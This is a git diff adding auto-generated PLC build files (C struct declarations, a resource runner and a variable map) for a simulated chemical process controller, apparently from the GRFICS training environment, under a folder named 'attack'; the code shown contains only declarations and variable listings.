__DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; 